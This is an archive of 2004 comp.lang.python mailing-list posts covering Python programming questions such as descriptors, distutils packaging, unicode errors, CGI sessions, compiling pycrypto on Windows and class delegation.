	<m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>
	<tyfk72amei6.fsf@pcepsft001.cern.ch>
	<m3vfluc7ja.fsf@pc150.maths.bris.ac.uk>
	<tyfsmgxaq9z.fsf@pcepsft001.cern.ch>
Message-ID: <m3y8qo92oo.fsf@pc150.maths.bris.ac.uk>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> > import types
> > 
> > class foo(object):
> >     pass
> > 
> > class Callable(object):
> >     def __init__(self): # wonder why this is needed:
> >         self.__name__ = 'Callable'
> >     def __call__(self, ob):
> >         return ob
> >     def __get__(self, ob, cls=None):
> >         return types.UnboundMethodType(self, ob, cls)
> >     
> > foo.inst = Callable()
> > 
> > print foo.inst
> > print foo().inst()
> > 
> > (needs 2.3, for 2.2 use new.instancemethod instead).
> 
> Aha !

Glad to be of service...

> I was doing this stuff way back in 2.2[*], where you get
> 
> >>> print foo.inst
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 7, in __get__
> TypeError: cannot create 'instance method' instances
> 
> but it does indeed work in 2.3. Thanks for pointing that out.

This is one of the many little ways -- particularly in the area of
new-style classes -- in which Python 2.3 is just Python 2.2 done
right.

Cheers,
mwh

-- 
  I also feel it essential to note, [...], that Description Logics,
  non-Monotonic Logics, Default Logics and Circumscription Logics 
  can all collectively go suck a cow. Thank you.
              -- http://advogato.org/person/Johnath/diary.html?start=4


From harry.g.george at boeing.com  Mon Feb 23 02:36:27 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 23 Feb 2004 07:36:27 GMT
Subject: Python program organization
References: <6fGZb.25259$tM5.21166@fed1read04>
Message-ID: <xqxwu6edz7o.fsf@cola2.ca.boeing.com>

Derek W <whitedw at NOSPAMcox.net> writes:

> Hello all,
> 
> I have a few questions about the best way to organize a large Python
> program.  This would be a large program with a GUI interface, too
> large to be put all in one script file by any sane person.  I was
> wondering about how a Python programmer should organize the multiple
> python source files that will be needed by their program.  Is it
> proper to break the program up into modules and put all of the modules
> in a package even if the modules would be of little or no use to
> others (such as the program specific GUI code)?  Would this package
> then go under Python's site-packages directory when the program is
> installed?  Would distribution of a program like this use distutils?
> 
> Thank you,
> Derek

1. General purpose

You should first think "model-view-controller", where the model is a
GUI-free compute engine which knows your persistant data.  Then build
"view" modules which call the model's API.  This should be bundled
with testsuites, convenience scripts, documentation, etc.  These can
all go in the same package, and that in turn can be bundled using
distutils.  Distutils in turn installs the package into site-packages.

For a utility which sets up a project, see:
http://www.seanet.com/~hgg9140/comp/mkpythonproj-1.5/doc/mkpythonproj.help

2. Larger

As projects get larger, you will find there are several "models".
E.g., for translations between various COTS tools.  In that case, make
a separate package for each model (e.g., for the reader/writer adaptor
for each data format), and then another package for the project which
ties them together.  The idea is to reduce unneeded cohesion -- make
the packages as isolated as you reasonably can so they are reusable in
other contexts.

3. Config controlled

If you have several variants of the packages, e.g., under CVS, then
you don't want to put them all in site-packages.  Instead, check out
an internallly-consistent set of packages to a directory (e.g.,
"alpha", "beta", "prod").  Then, to assure the "imprts" find the right
modules and the right python version is run, make execution scripts
which do:

    export PYTHONPATH=<path to working dir>/mypackage01:
                      <path to working dir>/mypackage02:
                      ${PYTHONPATH}

    PY=/usr/local/python2.3
    
    ${PY} <path to main script>  <arguments as needed>



-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From jjl at pobox.com  Sun Feb  1 18:56:22 2004
From: jjl at pobox.com (John J. Lee)
Date: 01 Feb 2004 23:56:22 +0000
Subject: Scientific_netcdf
References: <mailman.1106.1075667209.12720.python-list@python.org>
Message-ID: <8765eqjqvt.fsf@pobox.com>

satish  <skchim0 at engr.uky.edu> writes:

> I have installed Scientific Python recently. I got a script which is trying to 
> import a module named "Scientific_netcdf". I got an ImportError: No module 
> named Scientific_netcdf.  Can someone help me as to how I could procure this 
> module ?  

Sounds like Scientific Python has a local copy of the netcdf module,
but Python isn't finding it.  Or maybe it really does have it's own
NetCDF reading module.  Anyway, I'm guessing it's just not installed
properly.  Post the traceback.


John


From DavidA at activestate.com  Mon Feb 16 16:55:54 2004
From: DavidA at activestate.com (David Ascher)
Date: Mon, 16 Feb 2004 13:55:54 -0800
Subject: ANNOUNCE: Build 200 of the pywin32 extensions
	(win32all)	available
In-Reply-To: <6d7616d2371cabf820070c61a59f6f96@news.teranews.com>
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
	<6d7616d2371cabf820070c61a59f6f96@news.teranews.com>
Message-ID: <40313C6A.6010503@ActiveState.com>

Dang Griffith wrote:

> On Sun, 08 Feb 2004 09:39:10 +1100, Mark Hammond
> <mhammond at skippinet.com.au> wrote:
> 
>>All comments appreciated!
> 
> 
>     What with _Learning_Python_ having a second edition, is there any
> plan for a second edition _Python_Programming_on_Win32_ ?

Right -- in other words, since pigs can now fly, can we now have chicken 
with teeth?

:-)





From jcarlson at nospam.uci.edu  Fri Feb  6 21:54:09 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 18:54:09 -0800
Subject: Error message <exceptions.TypeError unpack non-sequence>
In-Reply-To: <788bd2d4.0402061352.676d8566@posting.google.com>
References: <788bd2d4.0402051459.8a90fec@posting.google.com>
	<bvv2dr$7oa$1@news.service.uci.edu>
	<788bd2d4.0402061352.676d8566@posting.google.com>
Message-ID: <c01k4s$jgn$1@news.service.uci.edu>

> What if there are more than 2 items? How can I do something where
> element 0 and 1 are assigned to (item, agent) and so on? If this is a
> silly question please let me know what I can read.

If there ever was more than two items, that is, if it was a flat 
sequence like this: [1,2,3,4,5,6], then the original for loop couldn't 
have worked.

  - Josiah


From tim.golden at viacom-outdoor.co.uk  Mon Feb  9 05:54:36 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Feb 2004 10:54:36 -0000 
Subject: Pythonwin - breaking out of infinite loop
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346EA@tdi_nt9.internal.viacom-outdoor.co.uk>

>Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message 
>news:<mailman.1029.1075453049.12720.python-list at python.org>...
>> >From: Graham [mailto:gsmith at oxfam.org.uk]
>> >How do I stop a Python program running in PythinWin?  I would 
>> >expect to be
>> >able to use CTR-C or CTRL-break etc.
>> >
>> 
>> Find the Python icon in the systray (next to the clock at the
>> bottom right of the screen). Right-click and select
>> "Break into running code" (or something like that)
>
>It doesn't seem to work. I've tried it about fifty times (about ten
>different runs on various recursive algorithms, clicking it about five
>times each until I give up), and it has worked exactly one time.
>
>Is there anything more useful for breaking out of infinite loops /
>bottomless recursion / unexpectedly slow algorithms that doesn't bring
>down Pythonwin too?

Well if that doesn't work, I don't know what will. Obviously, you could
put guard code / watchdogs in your code (or run it outside PythonWin
while you're testing potential infinite recursion).

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
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From root at sands.beach.net  Wed Feb 18 16:12:16 2004
From: root at sands.beach.net (Charlie &)
Date: Wed, 18 Feb 2004 21:12:16 GMT
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
	<8e3e8c6c.0402181210.69b47ec1@posting.google.com>
Message-ID: <QyQYb.1266$o52.1176@fed1read02>

Now this really sonds like homework.


In article <8e3e8c6c.0402181210.69b47ec1 at posting.google.com>,
	shivermetimbers15 at yahoo.com (shivermetimbers15) writes:
> Thanks, everyone. Also, I'd really like to know how to remove the
> lowest number from the sequence.


From P at draigBrady.com  Thu Feb 19 10:02:48 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Thu, 19 Feb 2004 15:02:48 +0000
Subject: os.popen
In-Reply-To: <1039imrc6ev73a1@corp.supernews.com>
References: <c12ea1$ivs$1@solaris.cc.vt.edu> <4034C623.3030206@draigBrady.com>
	<1039imrc6ev73a1@corp.supernews.com>
Message-ID: <4034D018.2050507@draigBrady.com>

Cameron Laird wrote:
> 1.  Why 
>       sh ./ping.sh ...
>     rather than
>       ./ping.sh ...
>     ?

Maybe he didn't make ping.sh executable for some reason.
Not relevant to this discussion.

> 2.  For more typical processes that launch and run to 
>     completion, yes, to the best of my knowledge, it 
>     *is* feasible to simplify 
>       op = os.popen(command)
>       op.read()
>       op.close()
>     to just
>       op = os.popen(command)
>       op.close()

iff the command doesn't fill the buffer.
If it does then it will not run to completion.

-- 
P?draig Brady - http://www.pixelbeat.org



From joe at notcharles.ca  Wed Feb 25 21:40:24 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 26 Feb 2004 02:40:24 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<103qa59gj6h57f8@news.supernews.com>
Message-ID: <slrnc3qli1.kc4.joe@gate.notcharles.ca>

In article <103qa59gj6h57f8 at news.supernews.com>, John Roth wrote:
> 
> "Joe Mason" <joe at notcharles.ca> wrote in message
> news:slrnc3ob0q.i6n.joe at gate.notcharles.ca...
>> In article <c1h1sb$1it26i$1 at ID-169208.news.uni-berlin.de>, Greg Ewing
> (using news.cis.dfn.de) wrote:
>>
>> > * In Python, functions are first-class, and
>> > methods are implemented in terms of functions. In Ruby,
>> > methods are the fundamental concept, and there are no
>> > first-class functions. The result is that Python lets
>> > you obtain a bound method from an object and use it like
>> > any other function. You can't do that in Ruby. You can
>> > get a method object in Ruby, but you can't call it using
>> > normal calling syntax.
>>
>> I don't see the distinction.  "normal calling syntax" in ruby involves
>> an object, so "unbound function" isn't a meaningful concept.  I mean, if
>> you get a method the begins with the self parameter, you still need an
>> object to call it, right?  Even if you're calling it as "foo(obj,
>> params)" instead of "obj.foo(params)".  I don't see what the ability to
>> use the other syntax gets you, except the ability to pass functions
>> around independantly of objects, which I'm pretty sure you can do with
>> methods in Ruby anyway.
> 
> I think you've missed the point here. Python has a concept
> of a "callable," that is, some object that can be called. Bound
> methods are useful precisely because they carry their instance
> around with them and also because they look exactly like any
> other callable; there is no special syntax that is required either
> to create one or to invoke it.
> 
> Unbound methods, on the other hand, require the caller to provide
> the instance explicitly which limits their usefulness quite a bit.

Ah.  Finally I see - I just misread "bound" as "unbound" in the original
post.  I wondered why Greg brought up unbound methods and then gave me
examples of bound ones...

Joe


From paolo.marz at aliceposta.it  Sun Feb  1 12:44:31 2004
From: paolo.marz at aliceposta.it (gimar)
Date: Sun, 01 Feb 2004 17:44:31 GMT
Subject: variable creation from a pathname
References: <zoaTb.176324$VW.7187727@news3.tin.it>
	<401d36c8$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <3WaTb.237045$_P.8114644@news4.tin.it>


"Irmen de Jong" <irmen at -NOSPAM-REMOVETHIS-xs4all.nl> ha scritto nel
messaggio news:401d36c8$0$315$e4fe514c at news.xs4all.nl...
> gimar wrote:
>
> > I wonder if there's a way to assign a value to the object obtained with:
> >
> > from os.path import *
> > splitext(basename("c:\pyfiles\sample.txt"))[0]    -----> sample
> >
> > and make it possible something like this, for example:
> >
> > sample = 123
>
> import os
> name=os.path.splitext(os.path.basename("c:\pyfiles\sample.txt"))[0]
> myvalue = 123
> exec("%s=%d" % (name, myvalue))     # <-- this is what you wanted
> print sample
>
> (it will print 123).
>
> --Irmen




From ptomblin+netnews at xcski.com  Thu Feb  5 15:54:27 2004
From: ptomblin+netnews at xcski.com (Paul Tomblin)
Date: Thu, 5 Feb 2004 20:54:27 +0000 (UTC)
Subject: Funnying the From (was: OT: Recommended news reader?)
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <10257t58fdgvi67@corp.supernews.com>
Message-ID: <bvuai3$5ot$1@allhats.xcski.com>

In a previous article, claird at phaseit.net said:
>I didn't know that "From:" *could* be customized through
>common configurations.  Does anyone know how to set it
>with trn(1)?  I'm not even asking for switches between

Assuming you're using one of the 4.0 versions of trn, in your .trn/trnrc:

NEWSHEADER='Newsgroups: %(%F=^$?%C:%F)
From: %L+netnews at xcski.com (%N)
Reply-To: %L+replyto at xcski.com (%N)
Subject: %(%S=^$?%"\\n\\nSubject: ":Re: %S)
%(%R=^$?:References: %R
)Organization: %o
%(%D=^$?:Distribution: %D
)Followup-To:\\n\\n'

-- 
Paul Tomblin <ptomblin at xcski.com> http://xcski.com/blogs/pt/
...the default behaviour should be *not* to fuck up.
              -- adb


From johng2001 at rediffmail.com  Tue Feb 24 10:34:43 2004
From: johng2001 at rediffmail.com (John)
Date: 24 Feb 2004 07:34:43 -0800
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
	<crvl30dj3mduqo8rbl1qqgij7mj9r87tng@4ax.com>
Message-ID: <ba129ce7.0402240734.1bd0143d@posting.google.com>

Tim Roberts <timr at probo.com> wrote in message news:<crvl30dj3mduqo8rbl1qqgij7mj9r87tng at 4ax.com>...
> johng2001 at rediffmail.com (John) wrote:
> 
> >> You could use cookies and/or database writes.
> >
> >Sadly that is what I want to avoid :-(
> 
> Well, there isn't any magic avaiable, even in Python.  Either you use a
> port and an appserver or you store your session data somewhere.  I'm not
> sure what you were hoping to find.


I am not looking for magic. What I am looking for is an elegant
solution to manage session info like in ASP/PHP, both of which have
doing this for quite a while. It's hardly exotic. It has been a couple
of years since I last used ASP, but I think it was session("var") =
value in ASP. Can't be simpler than that. Similar stuff in PHP
session_register. It manages Client side Cookies under the hood. Nicer
if the session info is maintained as server side cookies with a unique
SessionID. At this point, I do not know if that can be done. Sessions
are important for me since the site is membership based.

All these nice and comprehensive Python web app framewoks I looked at
so far DO have session support but need additional ports to be open or
act their own servers. That's OK if you have your own machine for
server but my admin will think twice before he installs one of those
for my non-critical app. PHP does not seem to need that. But I prefer
Python if I can help it.

If I don't find quick 'n' easy session management, maybe I will at
least figure out common web app design patterns with cookies.


From tjreedy at udel.edu  Tue Feb 24 10:54:46 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 10:54:46 -0500
Subject: Thoughts about Python
References: <403B4963.4060303@compuserve.de>
Message-ID: <c1fs44$ve4$1@sea.gmane.org>


"b-blochl" <bblochl2 at compuserve.de> wrote in message
news:403B4963.4060303 at compuserve.de...
> <Marco Aschwanden> PPNTWIMBXFFC at spammotel.com:  "Thoughts about Python"

> I find your Thoughts about Python very interesting and valuable. I agree
> in many of your arguments.

He mostly presented not arguments but unsupported ideas.  Most are based on
misunderstandings with obvious flaws to experienced Pythoneers.

> I would recommend you to post your  thoughts directly to
> guido at python.org.

NO! Do not do this.  Guido is already way too busy to have such stuff
imposed on him.
Posting here was exactly the right thing to do.

>Guido is the source for a possible change.

Actually most ideas come from someone else.  Small fixes and changes often
get approved by one of the other developers.  Important decisions by Guido
require a PEP or patch and usually discussion on the developers list.

Terry J. Reedy






From haim at babysnakes.org  Tue Feb 10 17:52:08 2004
From: haim at babysnakes.org (Haim Ashkenazi)
Date: Wed, 11 Feb 2004 00:52:08 +0200
Subject: compile pycrypto on windows
Message-ID: <c0bnap$968$1@sea.gmane.org>

Hi

I'm trying to compile pycrypto on windows. I've installed mingw and try to
run the command 'python setup.py build -c mingw32 install' and I get this
error:

$ python setup.py build -c mingw32 install
running build
running build_py
creating build
creating build\lib.win32-2.3
creating build\lib.win32-2.3\Crypto
copying .\test.py -> build\lib.win32-2.3\Crypto
copying .\__init__.py -> build\lib.win32-2.3\Crypto
creating build\lib.win32-2.3\Crypto\Hash
copying .\Hash\HMAC.py -> build\lib.win32-2.3\Crypto\Hash
copying .\Hash\MD5.py -> build\lib.win32-2.3\Crypto\Hash
copying .\Hash\SHA.py -> build\lib.win32-2.3\Crypto\Hash
copying .\Hash\__init__.py -> build\lib.win32-2.3\Crypto\Hash
creating build\lib.win32-2.3\Crypto\Cipher
copying .\Cipher\__init__.py -> build\lib.win32-2.3\Crypto\Cipher
creating build\lib.win32-2.3\Crypto\Util
copying .\Util\number.py -> build\lib.win32-2.3\Crypto\Util
copying .\Util\randpool.py -> build\lib.win32-2.3\Crypto\Util
copying .\Util\RFC1751.py -> build\lib.win32-2.3\Crypto\Util
copying .\Util\test.py -> build\lib.win32-2.3\Crypto\Util
copying .\Util\__init__.py -> build\lib.win32-2.3\Crypto\Util
creating build\lib.win32-2.3\Crypto\Protocol
copying .\Protocol\AllOrNothing.py -> build\lib.win32-2.3\Crypto\Protocol
copying .\Protocol\Chaffing.py -> build\lib.win32-2.3\Crypto\Protocol
copying .\Protocol\__init__.py -> build\lib.win32-2.3\Crypto\Protocol
creating build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\DSA.py -> build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\ElGamal.py -> build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\pubkey.py -> build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\qNEW.py -> build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\RSA.py -> build\lib.win32-2.3\Crypto\PublicKey
copying .\PublicKey\__init__.py -> build\lib.win32-2.3\Crypto\PublicKey
running build_ext
building 'Crypto.Hash.MD2' extension
creating build\temp.win32-2.3
creating build\temp.win32-2.3\Release
creating build\temp.win32-2.3\Release\src
c:\mingw\bin\gcc.exe -mno-cygwin -mdll -O -Wall -Isrc/ -Ic:\Python23\include
-Ic:\Python23\PC -c src/MD2.c -o build\temp.win32-2.3\Release\src\md2.o
writing build\temp.win32-2.3\Release\src\MD2.def
c:\mingw\bin\gcc.exe -mno-cygwin -shared -s build\temp.win32-2.3\Release\sr
\md2/o build\temp.win32-2.3\Release\src\MD2.def -Lc:\Python23\libs -Lc
\Python23\PCBuild -lpython23 -o build\lib.win32-2.3\Crypto\Hash\MD2.pyd
build\temp.win32-2.3\Release\src\md2.o(.text+0x3e3):MD2.c: undefined
reference to `_imp___Py_NoneStruct'
build\temp.win32-2.3\Release\src\md2.o(.text+0x3eb):MD2.c: undefined
reference to `_imp___Py_NoneStruct'
build\temp.win32-2.3\Release\src\md2.o(.text+0x53c):MD2.c: undefined
reference to `_imp__PyType_Type'
---

can someone please help?

thanx
--
Haim




From kbk at shore.net  Sun Feb  8 14:52:44 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sun, 08 Feb 2004 19:52:44 GMT
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<40264f37$0$95017$edfadb0f@dread11.news.tele.dk>
Message-ID: <87ekt573hw.fsf@hydra.localdomain>

"P.C." <per.corell at privat.dk> writes:

> Sorry Python not "Phyton".

Not a bad name, actually....describes what we do pretty well (not with
each other, of course.)
-- 
KBK


From lbates at swamisoft.com  Tue Feb 24 12:10:03 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 24 Feb 2004 11:10:03 -0600
Subject: Two newby's questions
References: <mailman.45.1077640558.8594.python-list@python.org>
Message-ID: <WaSdnUJoFNL2GKbdRVn-vA@comcast.com>

For many examples take a look at:
http://aspn.activestate.com/ASPN/Cookbook/Python/

Larry


"Marcello Pietrobon" <teiffel at attglobal.net> wrote in message
news:mailman.45.1077640558.8594.python-list at python.org...
> Hi,
> python really looks a great language.
>
> I wish C++ would have some of them !
>
> Here the questions
>
> 1)
> I preferred to use the newsgroup but the server
>    comp.lang.python / c.l.python ( as it appears with Mozilla ) looks down
!
> Am I doing something worng or the link from the python.org pages
> http://www.python.org/community/lists.html
> does not work ?
>
>
> 2)
> Is there a place where there are very small code snippets so a person
> can quicly use and learn Python ?
>
> 3)
> Under http://py.vaults.ca
> I found code under GPL license so I don't know if I can use some lines
> of code extracted from code I've found over there, for other open source
> code.
>
> Marcello
>
>
>
>




From alloydflanagan at comcast.net  Fri Feb  6 17:11:17 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 6 Feb 2004 14:11:17 -0800
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
Message-ID: <e838aa6e.0402061411.35ae59ca@posting.google.com>

max khesin <max at NcOviSsPiAoMntech.com> wrote in message news:<CnwUb.121111$cM1.22432482 at twister.nyc.rr.com>...
> Sounds great but... Why GPL (and not python)? It will prevent a lot of 
> us working grunts from using the module in the Commanie's code... And we 
> want MORE python!
> my 0.5c
> 

Look at it this way -- why should he share code with you, if you won't
share it with him?  If your company doesn't want to use the GPL they
have the option of developing it themselves.
You just want a free lunch.


From smcg4191 at frii.RemoveThisToReply.com  Tue Feb 17 01:11:02 2004
From: smcg4191 at frii.RemoveThisToReply.com (Stuart McGraw)
Date: Mon, 16 Feb 2004 23:11:02 -0700
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
	<7xwu6mmm3v.fsf@ruckus.brouhaha.com>
Message-ID: <4031b079$0$199$75868355@news.frii.net>

"Paul Rubin" <http://phr.cx at NOSPAM.invalid> rote in message news:7xwu6mmm3v.fsf at ruckus.brouhaha.com...
> "Stuart McGraw" <smcg4191 at frii.RemoveThisToReply.com> writes:
> > Class A has a method A.a() that returns an A.  I want a 
> > identical class but with an additional property .newprop
> > and method .b()  And I want .a() to return a B, not an A.
> > 
> >   class B (A):
> >     def __init__(self, *args, **kwds):
> >       A.__init__(self, *args, **kwds)
> >       self.newprop = 99
> >     def a(self):
> >       x = A.a(self)    # x is an A
> >       x.__class__ = B
> >       return x    # I want x to be a B, i.e have b() and .newprop.
> 
> Ugh!!
> 
> > Yes, I know this is bogus.  But I am not sure what I should be doing.
> 
> I think you have to make B into a container for an A.  Something like:
> 
> class B(A):
>      def __init__(self, *args, **kwds):
>        self.newprop = 99
>        self.wrapped_A = A(*args, **kwds)
>      def a(self):
>        x = B()
>        x.wrapped_A = A.a(self.wrapped_A)
>        return     # I want x to be a B, i.e have b() and .newprop.
>      def __getattr__(self, attr):
>        # delegate all inherited operations to the wrapped A object
>        return A.__getattr__(self.wrapped_A, attr)
> 
> You might also be able to do something crazy, like change A's metaclass
> so that its __new__ operation can make a B under certain circumstances.

Ahhhh....  I did not know about delegation.  I do now, thanks.
A minor disadvantage is that, because I also delegate __setattr__
all the instance variable have to be assigned in the form
self.__dict__['var'], rather than self.var (as I discovered the hard 
way).  Ugly, but I can live with it.  Thanks again.


From FBatista at uniFON.com.ar  Wed Feb  4 10:27:31 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 4 Feb 2004 12:27:31 -0300 
Subject: Best way to control assignment to attribute?
Message-ID: <A128D751272CD411BC9200508BC2194D0338359A@escpl.tcp.com.ar>

frank at chagford.com wrote:

#- I want to control the assignment of a value to an attribute. Instead
#- of allowing it to be changed directly, I want to enforce 
#- that a method
#- is called, which will perform the assignment subject to various
#- checks.

Use property().

http://www.python.org/2.2/descrintro.html#property

.	Facundo



From mwh at python.net  Tue Feb 10 06:10:05 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 10 Feb 2004 11:10:05 GMT
Subject: Python/Parrot still alive?
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>
	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
	<6ee58e07.0402082034.1d909f2b@posting.google.com>
	<4027ECDE.AB5BE4B6@engcorp.com>
	<6ee58e07.0402091917.13fdaa8e@posting.google.com>
	<698f09f8.0402092225.66e91ce2@posting.google.com>
Message-ID: <m3n07r2nsj.fsf@pc150.maths.bris.ac.uk>

tweedgeezer at hotmail.com (Jeremy Fincher) writes:

> llothar at web.de (Lothar Scholz) wrote in message news:<6ee58e07.0402091917.13fdaa8e at posting.google.com>...
> > Peter Hansen <peter at engcorp.com> wrote in message news:<4027ECDE.AB5BE4B6 at engcorp.com>...
> > > Lothar Scholz wrote:
> > > > 
> > > > "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c068ah$o0p$00$1 at news.t-online.com>...
> > > > 
> > > > > Some interpreters don't have virtual machines, e.g. Tcl did not
> > > > > have one until Tcl 8 or so. OTOH, not all virtual machines are
> > > > 
> > > > So Ruby is an interpreter and not a virutal machine ?
> > > 
> > > Does Ruby have a "byte code" such as Python and Java have?
> > 
> > No. It keeps the parse tree in memory and traverse it during
> > evaluation. Same as all lisp interpreters(?!?!).
> 
> Definitely not the same as Lisp.  In actuality, a Common Lisp
> implementation that compiles to bytecode rather than native code is
> uncommon; the majority of quality (i.e., complete) implementations
> compile to native code.

Well, yeah, but I think what happens to stuff you type into the repl
of e.g. CMUCL could be described as traversing the parse tree.  CMUCL
has a bytecode compiler and a native compiler *as well*, but I think
you have to ask for them.  SBCL (and some others: Corman, MCL)
compiles absolutely everything to native code, I think.

Cheers,
mwh

-- 
  If i don't understand lisp, it would be wise to not bray about
  how lisp is stupid or otherwise criticize, because my stupidity
  would be archived and open for all in the know to see.
                                                -- Xah, comp.lang.lisp


From premshree_python at yahoo.co.in  Thu Feb 26 18:47:43 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Thu, 26 Feb 2004 23:47:43 +0000 (GMT)
Subject: pyAlbum
Message-ID: <20040226234743.8223.qmail@web8308.mail.in.yahoo.com>

*pyAlbum*

Using this script a user can create a HTML album (of
images) by selecting the directory that contains all
the required images.

Source available at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/271246

-Premshree Pillai
[http://www.qiksearch.com/]

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
Go to: http://in.insurance.yahoo.com/licspecial/index.html



From ivoras at __geri.cc.fer.hr  Mon Feb  9 17:01:08 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Mon, 09 Feb 2004 23:01:08 +0100
Subject: unicode codecs
In-Reply-To: <g1vf201kc9sl3m82un3jhekdje1m0ovlu9@4ax.com>
References: <c08sbk$c4u$1@bagan.srce.hr>
	<g1vf201kc9sl3m82un3jhekdje1m0ovlu9@4ax.com>
Message-ID: <c08vv1$f61$1@bagan.srce.hr>

Christopher Koppler wrote:

> To get a real solution, you should also post the offending code, but
> you might try to convert your values to unicode with the built-in
> unicode() and the string method decode(). See the library reference
> sections 2.1 and 2.2.6.

I tried that, without luck. It is somewhat difficult to reproduce the 
problem, but here's how I see it:

- win32api function returns a string (8bit) with some of the characters 
from the upper half of code page, let's call it s1
- a statement such as a='x'+s1 fails with the above error.

I don't really know why should concatenation check if characters are 
7-bit clean (or indeed if they represent anything in whatever code page).

Since win32api functions exist also in unicode version, I tried this:

- call the unicode version of function. Returned is a unicode string 
(checked, it really is unicode) like u'R\xfcgenwald.txt', let's call it s2
- a statement a='x'+s2.encode('iso-8859-2') also fails with the exact 
same error.

It is strange that if I execute similar code in Idle (e.g. manually 
assigning string constants to variables and concatenating), everything 
works!

The exact error is:
   File "E:\develop\pynetdb\netdbcreate.py", line 32, in walkdirs
     fullname = root+'\\'+filename
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 1: 
ordinal not in range(128)

The filename variable contains (in my latest effort) utf-8 encoded value 
'R\xc3\xbcgenwald.mp3', and root variable contains a normal non-unicode 
string.

I tried various combinations of unicode and non-unicode types, and thay 
all fail sooner or later when they meet with a non-unicode string that 
is not 7-bit clean.


From zunbeltz at wm.lc.ehu.es.XXX  Thu Feb 26 05:28:33 2004
From: zunbeltz at wm.lc.ehu.es.XXX (Zunbeltz Izaola)
Date: 26 Feb 2004 11:28:33 +0100
Subject: Play with classes
Message-ID: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>

Hi to all!

I wonder if it possible (i'm sure python can do :-) ) to define classes on
runtime. My problem (schematically) is the folowwin.

The User can choise betwenn 3 property of an object.

Mode, Type and Subtype.

I have the following classes defined

ModeA, ModeB, TypeA, TypeB, TypeC, SubtypeA, SubtypeB.

Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
something like

class UserClass(ModeA, TypeB, SubtypeB):
        pass

I can define all the posibilitys different classes and the using nested
if/else I can use the correct class, but I want to know if there is a way 
generate in the fly and in this way there is no necesarity to change code whe
new Modes or Types are created.

I hope it is clear enough :-)

Thanks in advance

Zunbeltz


From nessus at mit.edu  Fri Feb 20 14:34:33 2004
From: nessus at mit.edu (Douglas Alan)
Date: Fri, 20 Feb 2004 14:34:33 -0500
Subject: GUI application death catcher?
References: <lcisi4ezli.fsf@gaffa.mit.edu> <40342563.BA2866BF@engcorp.com>
	<lc65e2lkbe.fsf@gaffa.mit.edu> <40354E35.559042AF@engcorp.com>
Message-ID: <lcfzd55yuu.fsf@gaffa.mit.edu>

Peter Hansen <peter at engcorp.com> writes:

> In fact, making the GUI a separate program (as I think you might
> have suggested before) is a very good idea, since then you can
> concentrate on getting the failure data safely stored into a file in
> the original program's error handler.

My idea wasn't to make the entire GUI be a separate program (though
that's not a terrible idea, it doesn't solve the problem that the GUI
itself may have bugs) -- just to make the death catcher be a separate
program.  One problem with that idea is that if I do it in Python,
what do I do if I get an exception while doing "import Tkinter"?
That's why I think a statically linked binary would be better for this
particular task.  It seems to me that such death catchers must already
exist.  I can easily write one myself for Unix, but I'm not much of a
Windows expert, and worry that I'll mess up something subtle with
starting up child processes, reading from pipes, waiting for the
child's exit, and the like.

> I'm puzzled though.  Are you really expecting these astronauts,
